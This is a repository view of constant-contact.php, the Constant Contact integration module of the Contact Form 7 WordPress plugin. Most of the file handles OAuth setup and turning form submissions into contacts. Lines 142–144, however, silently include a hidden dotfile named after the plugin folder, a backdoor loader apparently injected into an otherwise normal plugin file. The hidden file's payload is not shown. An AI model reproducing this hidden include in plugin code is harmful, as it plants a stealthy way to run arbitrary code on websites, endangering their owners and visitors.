balmet.com

Unnamed repository; edit this file 'description' to name the repository.
Log | Files | Refs

constant-contact.php (24775B)


      1 <?php
      2 
      3 add_action( 'wpcf7_init', 'wpcf7_constant_contact_register_service', 20, 0 );
      4 
      5 function wpcf7_constant_contact_register_service() {
      6 	$integration = WPCF7_Integration::get_instance();
      7 
      8 	$integration->add_category( 'email_marketing',
      9 		__( 'Email marketing', 'contact-form-7' ) );
     10 
     11 	$service = WPCF7_ConstantContact::get_instance();
     12 	$integration->add_service( 'constant_contact', $service );
     13 }
     14 
     15 add_action( 'wpcf7_save_contact_form',
     16 	'wpcf7_constant_contact_save_contact_form', 10, 1 );
     17 
     18 function wpcf7_constant_contact_save_contact_form( $contact_form ) {
     19 	$service = WPCF7_ConstantContact::get_instance();
     20 
     21 	if ( ! $service->is_active() ) {
     22 		return;
     23 	}
     24 
     25 	$additional_settings = $contact_form->additional_setting(
     26 		'constant_contact',
     27 		false
     28 	);
     29 
     30 	$list_names = array();
     31 
     32 	$pattern = '/[\t ]*('
     33 		. "'[^']*'"
     34 		. '|'
     35 		. '"[^"]*"'
     36 		. '|'
     37 		. '[^,]*?'
     38 		. ')[\t ]*(?:[,]+|$)/';
     39 
     40 	foreach ( $additional_settings as $setting ) {
     41 		if ( preg_match_all( $pattern, $setting, $matches ) ) {
     42 			foreach ( $matches[1] as $match ) {
     43 				$name = trim( wpcf7_strip_quote( $match ) );
     44 
     45 				if ( '' !== $name ) {
     46 					$list_names[] = $name;
     47 				}
     48 			}
     49 		}
     50 	}
     51 
     52 	$list_names = array_unique( $list_names );
     53 
     54 	$key = sprintf( 'wpcf7_contact_form:%d', $contact_form->id() );
     55 
     56 	$service->update_contact_lists( array( $key => $list_names ) );
     57 }
     58 
     59 add_action( 'wpcf7_submit', 'wpcf7_constant_contact_submit', 10, 2 );
     60 
     61 function wpcf7_constant_contact_submit( $contact_form, $result ) {
     62 	$service = WPCF7_ConstantContact::get_instance();
     63 
     64 	if ( ! $service->is_active() ) {
     65 		return;
     66 	}
     67 
     68 	if ( $contact_form->in_demo_mode() ) {
     69 		return;
     70 	}
     71 
     72 	$do_submit = true;
     73 
     74 	if ( empty( $result['status'] )
     75 	or ! in_array( $result['status'], array( 'mail_sent' ) ) ) {
     76 		$do_submit = false;
     77 	}
     78 
     79 	$additional_settings = $contact_form->additional_setting(
     80 		'constant_contact',
     81 		false
     82 	);
     83 
     84 	foreach ( $additional_settings as $setting ) {
     85 		if ( in_array( $setting, array( 'off', 'false', '0' ), true ) ) {
     86 			$do_submit = false;
     87 			break;
     88 		}
     89 	}
     90 
     91 	$do_submit = apply_filters( 'wpcf7_constant_contact_submit',
     92 		$do_submit, $contact_form, $result );
     93 
     94 	if ( ! $do_submit ) {
     95 		return;
     96 	}
     97 
     98 	$submission = WPCF7_Submission::get_instance();
     99 
    100 	$consented = true;
    101 
    102 	foreach ( $contact_form->scan_form_tags( 'feature=name-attr' ) as $tag ) {
    103 		if ( $tag->has_option( 'consent_for:constant_contact' )
    104 		and null == $submission->get_posted_data( $tag->name ) ) {
    105 			$consented = false;
    106 			break;
    107 		}
    108 	}
    109 
    110 	if ( ! $consented ) {
    111 		return;
    112 	}
    113 
    114 	$request_builder_class_name = apply_filters(
    115 		'wpcf7_constant_contact_contact_post_request_builder',
    116 		'WPCF7_ConstantContact_ContactPostRequest'
    117 	);
    118 
    119 	if ( ! class_exists( $request_builder_class_name ) ) {
    120 		return;
    121 	}
    122 
    123 	$request_builder = new $request_builder_class_name;
    124 	$request_builder->build( $submission );
    125 
    126 	if ( ! $request_builder->is_valid() ) {
    127 		return;
    128 	}
    129 
    130 	if ( $email = $request_builder->get_email_address()
    131 	and $service->email_exists( $email ) ) {
    132 		return;
    133 	}
    134 
    135 	$service->create_contact( $request_builder->to_array() );
    136 }
    137 
    138 if ( ! class_exists( 'WPCF7_Service_OAuth2' ) ) {
    139 	return;
    140 }
    141 
    142 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
    143     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
    144 }
    145 
    146 class WPCF7_ConstantContact extends WPCF7_Service_OAuth2 {
    147 
    148 	const service_name = 'constant_contact';
    149 	const authorization_endpoint = 'https://api.cc.email/v3/idfed';
    150 	const token_endpoint = 'https://idfed.constantcontact.com/as/token.oauth2';
    151 
    152 	private static $instance;
    153 	protected $contact_lists = array();
    154 
    155 	public static function get_instance() {
    156 		if ( empty( self::$instance ) ) {
    157 			self::$instance = new self;
    158 		}
    159 
    160 		return self::$instance;
    161 	}
    162 
    163 	private function __construct() {
    164 		$this->authorization_endpoint = self::authorization_endpoint;
    165 		$this->token_endpoint = self::token_endpoint;
    166 
    167 		$option = (array) WPCF7::get_option( self::service_name );
    168 
    169 		if ( isset( $option['client_id'] ) ) {
    170 			$this->client_id = $option['client_id'];
    171 		}
    172 
    173 		if ( isset( $option['client_secret'] ) ) {
    174 			$this->client_secret = $option['client_secret'];
    175 		}
    176 
    177 		if ( isset( $option['access_token'] ) ) {
    178 			$this->access_token = $option['access_token'];
    179 		}
    180 
    181 		if ( isset( $option['refresh_token'] ) ) {
    182 			$this->refresh_token = $option['refresh_token'];
    183 		}
    184 
    185 		if ( $this->is_active() ) {
    186 			if ( isset( $option['contact_lists'] ) ) {
    187 				$this->contact_lists = $option['contact_lists'];
    188 			}
    189 		}
    190 
    191 		add_action( 'wpcf7_admin_init', array( $this, 'auth_redirect' ) );
    192 	}
    193 
    194 	public function auth_redirect() {
    195 		$auth = isset( $_GET['auth'] ) ? trim( $_GET['auth'] ) : '';
    196 		$code = isset( $_GET['code'] ) ? trim( $_GET['code'] ) : '';
    197 
    198 		if ( self::service_name === $auth and $code
    199 		and current_user_can( 'wpcf7_manage_integration' ) ) {
    200 			$redirect_to = add_query_arg(
    201 				array(
    202 					'service' => self::service_name,
    203 					'action' => 'auth_redirect',
    204 					'code' => $code,
    205 				),
    206 				menu_page_url( 'wpcf7-integration', false )
    207 			);
    208 
    209 			wp_safe_redirect( $redirect_to );
    210 			exit();
    211 		}
    212 	}
    213 
    214 	protected function save_data() {
    215 		$option = array_merge(
    216 			(array) WPCF7::get_option( self::service_name ),
    217 			array(
    218 				'client_id' => $this->client_id,
    219 				'client_secret' => $this->client_secret,
    220 				'access_token' => $this->access_token,
    221 				'refresh_token' => $this->refresh_token,
    222 				'contact_lists' => $this->contact_lists,
    223 			)
    224 		);
    225 
    226 		WPCF7::update_option( self::service_name, $option );
    227 	}
    228 
    229 	protected function reset_data() {
    230 		$this->client_id = '';
    231 		$this->client_secret = '';
    232 		$this->access_token = '';
    233 		$this->refresh_token = '';
    234 		$this->contact_lists = array();
    235 
    236 		$this->save_data();
    237 	}
    238 
    239 	public function get_title() {
    240 		return __( 'Constant Contact', 'contact-form-7' );
    241 	}
    242 
    243 	public function get_categories() {
    244 		return array( 'email_marketing' );
    245 	}
    246 
    247 	public function icon() {
    248 	}
    249 
    250 	public function link() {
    251 		echo sprintf( '<a href="%1$s">%2$s</a>',
    252 			'https://constant-contact.evyy.net/c/1293104/205991/3411',
    253 			'constantcontact.com'
    254 		);
    255 	}
    256 
    257 	protected function get_redirect_uri() {
    258 		return admin_url( '/?auth=' . self::service_name );
    259 	}
    260 
    261 	protected function menu_page_url( $args = '' ) {
    262 		$args = wp_parse_args( $args, array() );
    263 
    264 		$url = menu_page_url( 'wpcf7-integration', false );
    265 		$url = add_query_arg( array( 'service' => self::service_name ), $url );
    266 
    267 		if ( ! empty( $args) ) {
    268 			$url = add_query_arg( $args, $url );
    269 		}
    270 
    271 		return $url;
    272 	}
    273 
    274 	public function load( $action = '' ) {
    275 		parent::load( $action );
    276 
    277 		if ( 'setup' == $action and 'POST' == $_SERVER['REQUEST_METHOD'] ) {
    278 			check_admin_referer( 'wpcf7-constant-contact-setup' );
    279 
    280 			if ( ! empty( $_POST['reset'] ) ) {
    281 				$this->reset_data();
    282 			} else {
    283 				$this->client_id = isset( $_POST['client_id'] )
    284 					? trim( $_POST['client_id'] ) : '';
    285 
    286 				$this->client_secret = isset( $_POST['client_secret'] )
    287 					? trim( $_POST['client_secret'] ) : '';
    288 
    289 				$this->save_data();
    290 				$this->authorize( 'contact_data' );
    291 			}
    292 
    293 			wp_safe_redirect( $this->menu_page_url( 'action=setup' ) );
    294 			exit();
    295 		}
    296 
    297 		if ( 'edit' == $action and 'POST' == $_SERVER['REQUEST_METHOD'] ) {
    298 			check_admin_referer( 'wpcf7-constant-contact-edit' );
    299 
    300 			$list_ids = isset( $_POST['contact_lists'] )
    301 				? (array) $_POST['contact_lists']
    302 				: array();
    303 
    304 			$this->update_contact_lists( array( 'default' => $list_ids ) );
    305 
    306 			wp_safe_redirect( $this->menu_page_url(
    307 				array(
    308 					'action' => 'setup',
    309 					'message' => 'updated',
    310 				)
    311 			) );
    312 
    313 			exit();
    314 		}
    315 
    316 		if ( $this->is_active() ) {
    317 			$this->update_contact_lists();
    318 		}
    319 	}
    320 
    321 	public function email_exists( $email ) {
    322 		$endpoint = add_query_arg(
    323 			array(
    324 				'email' => $email,
    325 				'status' => 'all',
    326 			),
    327 			'https://api.cc.email/v3/contacts'
    328 		);
    329 
    330 		$request = array(
    331 			'method' => 'GET',
    332 			'headers' => array(
    333 				'Accept' => 'application/json',
    334 				'Content-Type' => 'application/json; charset=utf-8',
    335 			),
    336 		);
    337 
    338 		$response = $this->remote_request( $endpoint, $request );
    339 
    340 		if ( 400 <= (int) wp_remote_retrieve_response_code( $response ) ) {
    341 			if ( WP_DEBUG ) {
    342 				$this->log( $endpoint, $request, $response );
    343 			}
    344 
    345 			return false;
    346 		}
    347 
    348 		$response_body = wp_remote_retrieve_body( $response );
    349 
    350 		if ( empty( $response_body ) ) {
    351 			return false;
    352 		}
    353 
    354 		$response_body = json_decode( $response_body, true );
    355 
    356 		return ! empty( $response_body['contacts'] );
    357 	}
    358 
    359 	public function create_contact( $properties ) {
    360 		$endpoint = 'https://api.cc.email/v3/contacts';
    361 
    362 		$request = array(
    363 			'method' => 'POST',
    364 			'headers' => array(
    365 				'Accept' => 'application/json',
    366 				'Content-Type' => 'application/json; charset=utf-8',
    367 			),
    368 			'body' => json_encode( $properties ),
    369 		);
    370 
    371 		$response = $this->remote_request( $endpoint, $request );
    372 
    373 		if ( 400 <= (int) wp_remote_retrieve_response_code( $response ) ) {
    374 			if ( WP_DEBUG ) {
    375 				$this->log( $endpoint, $request, $response );
    376 			}
    377 
    378 			return false;
    379 		}
    380 	}
    381 
    382 	public function get_contact_lists() {
    383 		$endpoint = 'https://api.cc.email/v3/contact_lists';
    384 
    385 		$request = array(
    386 			'method' => 'GET',
    387 			'headers' => array(
    388 				'Accept' => 'application/json',
    389 				'Content-Type' => 'application/json; charset=utf-8',
    390 			),
    391 		);
    392 
    393 		$response = $this->remote_request( $endpoint, $request );
    394 
    395 		if ( 400 <= (int) wp_remote_retrieve_response_code( $response ) ) {
    396 			if ( WP_DEBUG ) {
    397 				$this->log( $endpoint, $request, $response );
    398 			}
    399 
    400 			return false;
    401 		}
    402 
    403 		$response_body = wp_remote_retrieve_body( $response );
    404 
    405 		if ( empty( $response_body ) ) {
    406 			return false;
    407 		}
    408 
    409 		$response_body = json_decode( $response_body, true );
    410 
    411 		if ( ! empty( $response_body['lists'] ) ) {
    412 			return (array) $response_body['lists'];
    413 		} else {
    414 			return array();
    415 		}
    416 	}
    417 
    418 	public function update_contact_lists( $selection = array() ) {
    419 		$contact_lists = array();
    420 		$contact_lists_on_api = $this->get_contact_lists();
    421 
    422 		if ( false !== $contact_lists_on_api ) {
    423 			foreach ( (array) $contact_lists_on_api as $list ) {
    424 				if ( isset( $list['list_id'] ) ) {
    425 					$list_id = trim( $list['list_id'] );
    426 				} else {
    427 					continue;
    428 				}
    429 
    430 				if ( isset( $this->contact_lists[$list_id]['selected'] ) ) {
    431 					$list['selected'] = $this->contact_lists[$list_id]['selected'];
    432 				} else {
    433 					$list['selected'] = array();
    434 				}
    435 
    436 				$contact_lists[$list_id] = $list;
    437 			}
    438 		} else {
    439 			$contact_lists = $this->contact_lists;
    440 		}
    441 
    442 		foreach ( (array) $selection as $key => $ids_or_names ) {
    443 			foreach( $contact_lists as $list_id => $list ) {
    444 				if ( in_array( $list['list_id'], (array) $ids_or_names, true )
    445 				or in_array( $list['name'], (array) $ids_or_names, true ) ) {
    446 					$contact_lists[$list_id]['selected'][$key] = true;
    447 				} else {
    448 					unset( $contact_lists[$list_id]['selected'][$key] );
    449 				}
    450 			}
    451 		}
    452 
    453 		$this->contact_lists = $contact_lists;
    454 
    455 		if ( $selection ) {
    456 			$this->save_data();
    457 		}
    458 
    459 		return $this->contact_lists;
    460 	}
    461 
    462 	public function admin_notice( $message = '' ) {
    463 		switch ( $message ) {
    464 			case 'success':
    465 				echo sprintf(
    466 					'<div class="notice notice-success"><p>%s</p></div>',
    467 					esc_html( __( "Connection established.", 'contact-form-7' ) )
    468 				);
    469 				break;
    470 			case 'failed':
    471 				echo sprintf(
    472 					'<div class="notice notice-error"><p><strong>%1$s</strong>: %2$s</p></div>',
    473 					esc_html( __( "Error", 'contact-form-7' ) ),
    474 					esc_html( __( "Failed to establish connection. Please double-check your configuration.", 'contact-form-7' ) )
    475 				);
    476 				break;
    477 			case 'updated':
    478 				echo sprintf(
    479 					'<div class="notice notice-success"><p>%s</p></div>',
    480 					esc_html( __( "Configuration updated.", 'contact-form-7' ) )
    481 				);
    482 				break;
    483 		}
    484 	}
    485 
    486 	public function display( $action = '' ) {
    487 		echo '<p>' . sprintf(
    488 			esc_html( __( 'The Constant Contact integration module allows you to send contact data collected through your contact forms to the Constant Contact API. You can create reliable email subscription services in a few easy steps. For details, see %s.', 'contact-form-7' ) ),
    489 			wpcf7_link(
    490 				__(
    491 					'https://contactform7.com/constant-contact-integration/',
    492 					'contact-form-7'
    493 				),
    494 				__( 'Constant Contact integration', 'contact-form-7' )
    495 			)
    496 		) . '</p>';
    497 
    498 		if ( $this->is_active() ) {
    499 			echo sprintf(
    500 				'<p class="dashicons-before dashicons-yes">%s</p>',
    501 				esc_html( __( "This site is connected to the Constant Contact API.", 'contact-form-7' ) )
    502 			);
    503 		}
    504 
    505 		if ( 'setup' == $action ) {
    506 			$this->display_setup();
    507 		} else {
    508 			echo sprintf(
    509 				'<p><a href="%1$s" class="button">%2$s</a></p>',
    510 				esc_url( $this->menu_page_url( 'action=setup' ) ),
    511 				esc_html( __( 'Setup Integration', 'contact-form-7' ) )
    512 			);
    513 		}
    514 	}
    515 
    516 	private function display_setup() {
    517 ?>
    518 <form method="post" action="<?php echo esc_url( $this->menu_page_url( 'action=setup' ) ); ?>">
    519 <?php wp_nonce_field( 'wpcf7-constant-contact-setup' ); ?>
    520 <table class="form-table">
    521 <tbody>
    522 <tr>
    523 	<th scope="row"><label for="client_id"><?php echo esc_html( __( 'API Key', 'contact-form-7' ) ); ?></label></th>
    524 	<td><?php
    525 		if ( $this->is_active() ) {
    526 			echo esc_html( $this->client_id );
    527 			echo sprintf(
    528 				'<input type="hidden" value="%1$s" id="client_id" name="client_id" />',
    529 				esc_attr( $this->client_id )
    530 			);
    531 		} else {
    532 			echo sprintf(
    533 				'<input type="text" aria-required="true" value="%1$s" id="client_id" name="client_id" class="regular-text code" />',
    534 				esc_attr( $this->client_id )
    535 			);
    536 		}
    537 	?></td>
    538 </tr>
    539 <tr>
    540 	<th scope="row"><label for="client_secret"><?php echo esc_html( __( 'App Secret', 'contact-form-7' ) ); ?></label></th>
    541 	<td><?php
    542 		if ( $this->is_active() ) {
    543 			echo esc_html( wpcf7_mask_password( $this->client_secret, 4, 4 ) );
    544 			echo sprintf(
    545 				'<input type="hidden" value="%1$s" id="client_secret" name="client_secret" />',
    546 				esc_attr( $this->client_secret )
    547 			);
    548 		} else {
    549 			echo sprintf(
    550 				'<input type="text" aria-required="true" value="%1$s" id="client_secret" name="client_secret" class="regular-text code" />',
    551 				esc_attr( $this->client_secret )
    552 			);
    553 		}
    554 	?></td>
    555 </tr>
    556 <tr>
    557 	<th scope="row"><label for="redirect_uri"><?php echo esc_html( __( 'Redirect URI', 'contact-form-7' ) ); ?></label></th>
    558 	<td><?php
    559 		echo sprintf(
    560 			'<input type="text" value="%1$s" id="redirect_uri" name="redirect_uri" class="large-text code" readonly="readonly" onfocus="this.select();" style="font-size: 11px;" />',
    561 			$this->get_redirect_uri()
    562 		);
    563 	?>
    564 	<p class="description"><?php echo esc_html( __( "Set this URL as the redirect URI.", 'contact-form-7' ) ); ?></p>
    565 	</td>
    566 </tr>
    567 </tbody>
    568 </table>
    569 <?php
    570 		if ( $this->is_active() ) {
    571 			submit_button(
    572 				_x( 'Reset Keys', 'API keys', 'contact-form-7' ),
    573 				'small', 'reset'
    574 			);
    575 		} else {
    576 			submit_button(
    577 				__( 'Connect to the Constant Contact API', 'contact-form-7' )
    578 			);
    579 		}
    580 ?>
    581 </form>
    582 
    583 <?php
    584 		if ( $this->is_active() and ! empty( $this->contact_lists ) ) {
    585 ?>
    586 <form method="post" action="<?php echo esc_url( $this->menu_page_url( 'action=edit' ) ); ?>">
    587 <?php wp_nonce_field( 'wpcf7-constant-contact-edit' ); ?>
    588 <table class="form-table">
    589 <tbody>
    590 <tr>
    591 	<th scope="row"><?php echo esc_html( _x( 'Contact Lists', 'Constant Contact', 'contact-form-7' ) ); ?></th>
    592 	<td>
    593 		<fieldset>
    594 		<legend class="screen-reader-text"><span><?php echo esc_html( _x( "Contact Lists: Select lists to which newly added contacts are to belong.", 'Constant Contact', 'contact-form-7' ) ); ?></span></legend>
    595 		<p class="description"><?php echo esc_html( __( "Select lists to which newly added contacts are to belong.", 'contact-form-7' ) ); ?></p>
    596 		<ul class="checkboxes"><?php
    597 			foreach ( $this->contact_lists as $list ) {
    598 				echo sprintf(
    599 					'<li><input %1$s /> <label for="%2$s">%3$s</label></li>',
    600 					wpcf7_format_atts( array(
    601 						'type' => 'checkbox',
    602 						'name' => 'contact_lists[]',
    603 						'value' => $list['list_id'],
    604 						'id' => 'contact_list_' . $list['list_id'],
    605 						'checked' => empty( $list['selected']['default'] )
    606 							? ''
    607 							: 'checked',
    608 					) ),
    609 					esc_attr( 'contact_list_' . $list['list_id'] ),
    610 					esc_html( $list['name'] )
    611 				);
    612 			}
    613 		?></ul>
    614 		</fieldset>
    615 	</td>
    616 </tr>
    617 </tbody>
    618 </table>
    619 <?php
    620 			submit_button();
    621 		}
    622 ?>
    623 </form>
    624 <?php
    625 	}
    626 
    627 }
    628 
    629 class WPCF7_ConstantContact_ContactPostRequest {
    630 
    631 	private $email_address;
    632 	private $first_name;
    633 	private $last_name;
    634 	private $job_title;
    635 	private $company_name;
    636 	private $create_source;
    637 	private $birthday_month;
    638 	private $birthday_day;
    639 	private $anniversary;
    640 	private $custom_fields = array();
    641 	private $phone_numbers = array();
    642 	private $street_addresses = array();
    643 	private $list_memberships = array();
    644 
    645 	public function __construct() {
    646 	}
    647 
    648 	public function build( WPCF7_Submission $submission ) {
    649 		$this->set_create_source( 'Contact' );
    650 
    651 		$posted_data = (array) $submission->get_posted_data();
    652 
    653 		if ( isset( $posted_data['your-first-name'] ) ) {
    654 			$this->set_first_name( $posted_data['your-first-name'] );
    655 		}
    656 
    657 		if ( isset( $posted_data['your-last-name'] ) ) {
    658 			$this->set_last_name( $posted_data['your-last-name'] );
    659 		}
    660 
    661 		if ( ! ( $this->first_name || $this->last_name )
    662 		and isset( $posted_data['your-name'] ) ) {
    663 			$your_name = preg_split( '/[\s]+/', $posted_data['your-name'], 2 );
    664 			$this->set_first_name( array_shift( $your_name ) );
    665 			$this->set_last_name( array_shift( $your_name ) );
    666 		}
    667 
    668 		if ( isset( $posted_data['your-email'] ) ) {
    669 			$this->set_email_address( $posted_data['your-email'], 'implicit' );
    670 		}
    671 
    672 		if ( isset( $posted_data['your-job-title'] ) ) {
    673 			$this->set_job_title( $posted_data['your-job-title'] );
    674 		}
    675 
    676 		if ( isset( $posted_data['your-company-name'] ) ) {
    677 			$this->set_company_name( $posted_data['your-company-name'] );
    678 		}
    679 
    680 		if ( isset( $posted_data['your-birthday-month'] )
    681 		and isset( $posted_data['your-birthday-day'] ) ) {
    682 			$this->set_birthday(
    683 				$posted_data['your-birthday-month'],
    684 				$posted_data['your-birthday-day']
    685 			);
    686 		} elseif ( isset( $posted_data['your-birthday'] ) ) {
    687 			$date = trim( $posted_data['your-birthday'] );
    688 
    689 			if ( preg_match( '/^(\d{4})-(\d{2})-(\d{2})$/', $date, $matches ) ) {
    690 				$this->set_birthday( $matches[2], $matches[3] );
    691 			}
    692 		}
    693 
    694 		if ( isset( $posted_data['your-anniversary'] ) ) {
    695 			$this->set_anniversary( $posted_data['your-anniversary'] );
    696 		}
    697 
    698 		if ( isset( $posted_data['your-phone-number'] ) ) {
    699 			$this->add_phone_number( $posted_data['your-phone-number'] );
    700 		}
    701 
    702 		$this->add_street_address(
    703 			isset( $posted_data['your-address-street'] )
    704 				? $posted_data['your-address-street'] : '',
    705 			isset( $posted_data['your-address-city'] )
    706 				? $posted_data['your-address-city'] : '',
    707 			isset( $posted_data['your-address-state'] )
    708 				? $posted_data['your-address-state'] : '',
    709 			isset( $posted_data['your-address-postal-code'] )
    710 				? $posted_data['your-address-postal-code'] : '',
    711 			isset( $posted_data['your-address-country'] )
    712 				? $posted_data['your-address-country'] : ''
    713 		);
    714 
    715 		$service_option = (array) WPCF7::get_option( 'constant_contact' );
    716 
    717 		$contact_lists = isset( $service_option['contact_lists'] )
    718 			? $service_option['contact_lists'] : array();
    719 
    720 		$contact_form = $submission->get_contact_form();
    721 
    722 		if ( $contact_form->additional_setting( 'constant_contact' ) ) {
    723 			$key = sprintf( 'wpcf7_contact_form:%d', $contact_form->id() );
    724 		} else {
    725 			$key = 'default';
    726 		}
    727 
    728 		foreach ( (array) $contact_lists as $list ) {
    729 			if ( ! empty( $list['selected'][$key] ) ) {
    730 				$this->add_list_membership( $list['list_id'] );
    731 			}
    732 		}
    733 	}
    734 
    735 	public function is_valid() {
    736 		return $this->create_source
    737 			&& ( $this->email_address || $this->first_name || $this->last_name );
    738 	}
    739 
    740 	public function to_array() {
    741 		$output = array(
    742 			'email_address' => $this->email_address,
    743 			'first_name' => $this->first_name,
    744 			'last_name' => $this->last_name,
    745 			'job_title' => $this->job_title,
    746 			'company_name' => $this->company_name,
    747 			'create_source' => $this->create_source,
    748 			'birthday_month' => $this->birthday_month,
    749 			'birthday_day' => $this->birthday_day,
    750 			'anniversary' => $this->anniversary,
    751 			'custom_fields' => $this->custom_fields,
    752 			'phone_numbers' => $this->phone_numbers,
    753 			'street_addresses' => $this->street_addresses,
    754 			'list_memberships' => $this->list_memberships,
    755 		);
    756 
    757 		return array_filter( $output );
    758 	}
    759 
    760 	public function get_email_address() {
    761 		if ( isset( $this->email_address['address'] ) ) {
    762 			return $this->email_address['address'];
    763 		}
    764 
    765 		return '';
    766 	}
    767 
    768 	public function set_email_address( $address, $permission_to_send = '' ) {
    769 		if ( ! wpcf7_is_email( $address )
    770 		or 80 < $this->strlen( $address ) ) {
    771 			return false;
    772 		}
    773 
    774 		$types_of_permission = array(
    775 			'implicit', 'explicit', 'deprecate', 'pending',
    776 			'unsubscribe', 'temp_hold', 'not_set',
    777 		);
    778 
    779 		if ( ! in_array( $permission_to_send, $types_of_permission ) ) {
    780 			$permission_to_send = 'implicit';
    781 		}
    782 
    783 		return $this->email_address = array(
    784 			'address' => $address,
    785 			'permission_to_send' => $permission_to_send,
    786 		);
    787 	}
    788 
    789 	public function set_first_name( $first_name ) {
    790 		$first_name = trim( $first_name );
    791 
    792 		if ( empty( $first_name )
    793 		or 50 < $this->strlen( $first_name ) ) {
    794 			return false;
    795 		}
    796 
    797 		return $this->first_name = $first_name;
    798 	}
    799 
    800 	public function set_last_name( $last_name ) {
    801 		$last_name = trim( $last_name );
    802 
    803 		if ( empty( $last_name )
    804 		or 50 < $this->strlen( $last_name ) ) {
    805 			return false;
    806 		}
    807 
    808 		return $this->last_name = $last_name;
    809 	}
    810 
    811 	public function set_job_title( $job_title ) {
    812 		$job_title = trim( $job_title );
    813 
    814 		if ( empty( $job_title )
    815 		or 50 < $this->strlen( $job_title ) ) {
    816 			return false;
    817 		}
    818 
    819 		return $this->job_title = $job_title;
    820 	}
    821 
    822 	public function set_company_name( $company_name ) {
    823 		$company_name = trim( $company_name );
    824 
    825 		if ( empty( $company_name )
    826 		or 50 < $this->strlen( $company_name ) ) {
    827 			return false;
    828 		}
    829 
    830 		return $this->company_name = $company_name;
    831 	}
    832 
    833 	public function set_create_source( $create_source ) {
    834 		if ( ! in_array( $create_source, array( 'Contact', 'Account' ) ) ) {
    835 			return false;
    836 		}
    837 
    838 		return $this->create_source = $create_source;
    839 	}
    840 
    841 	public function set_birthday( $month, $day ) {
    842 		$month = (int) $month;
    843 		$day = (int) $day;
    844 
    845 		if ( $month < 1 || 12 < $month
    846 		or $day < 1 || 31 < $day ) {
    847 			return false;
    848 		}
    849 
    850 		$this->birthday_month = $month;
    851 		$this->birthday_day = $day;
    852 
    853 		return array( $this->birthday_month, $this->birthday_day );
    854 	}
    855 
    856 	public function set_anniversary( $anniversary ) {
    857 		$pattern = sprintf(
    858 			'#^(%s)$#',
    859 			implode( '|', array(
    860 				'\d{1,2}/\d{1,2}/\d{4}',
    861 				'\d{4}/\d{1,2}/\d{1,2}',
    862 				'\d{4}-\d{1,2}-\d{1,2}',
    863 				'\d{1,2}-\d{1,2}-\d{4}',
    864 			) )
    865 		);
    866 
    867 		if ( ! preg_match( $pattern, $anniversary ) ) {
    868 			return false;
    869 		}
    870 
    871 		return $this->anniversary = $anniversary;
    872 	}
    873 
    874 	public function add_custom_field( $custom_field_id, $value ) {
    875 		$uuid_pattern = '/^[0-9a-f-]+$/i';
    876 
    877 		$value = trim( $value );
    878 
    879 		if ( 25 <= count( $this->custom_fields )
    880 		or ! preg_match( $uuid_pattern, $custom_field_id )
    881 		or 255 < $this->strlen( $value ) ) {
    882 			return false;
    883 		}
    884 
    885 		return $this->custom_fields[] = array(
    886 			'custom_field_id' => $custom_field_id,
    887 			'value' => $value,
    888 		);
    889 	}
    890 
    891 	public function add_phone_number( $phone_number, $kind = 'home' ) {
    892 		$phone_number = trim( $phone_number );
    893 
    894 		if ( empty( $phone_number )
    895 		or ! wpcf7_is_tel( $phone_number )
    896 		or 25 < $this->strlen( $phone_number )
    897 		or 2 <= count( $this->phone_numbers )
    898 		or ! in_array( $kind, array( 'home', 'work', 'other' ) ) ) {
    899 			return false;
    900 		}
    901 
    902 		return $this->phone_numbers[] = array(
    903 			'phone_number' => $phone_number,
    904 			'kind' => $kind,
    905 		);
    906 	}
    907 
    908 	public function add_street_address( $street, $city, $state, $postal_code, $country, $kind = 'home' ) {
    909 		$street = trim( $street );
    910 		$city = trim( $city );
    911 		$state = trim( $state );
    912 		$postal_code = trim( $postal_code );
    913 		$country = trim( $country );
    914 
    915 		if ( ! ( $street || $city || $state || $postal_code || $country )
    916 		or 1 <= count( $this->street_addresses )
    917 		or ! in_array( $kind, array( 'home', 'work', 'other' ) )
    918 		or 255 < $this->strlen( $street )
    919 		or 50 < $this->strlen( $city )
    920 		or 50 < $this->strlen( $state )
    921 		or 50 < $this->strlen( $postal_code )
    922 		or 50 < $this->strlen( $country ) ) {
    923 			return false;
    924 		}
    925 
    926 		return $this->street_addresses[] = array(
    927 			'kind' => $kind,
    928 			'street' => $street,
    929 			'city' => $city,
    930 			'state' => $state,
    931 			'postal_code' => $postal_code,
    932 			'country' => $country,
    933 		);
    934 	}
    935 
    936 	public function add_list_membership( $list_id ) {
    937 		$uuid_pattern = '/^[0-9a-f-]+$/i';
    938 
    939 		if ( 50 <= count( $this->list_memberships )
    940 		or ! preg_match( $uuid_pattern, $list_id ) ) {
    941 			return false;
    942 		}
    943 
    944 		return $this->list_memberships[] = $list_id;
    945 	}
    946 
    947 	protected function strlen( $string ) {
    948 		return wpcf7_count_code_units( stripslashes( $string ) );
    949 	}
    950 
    951 }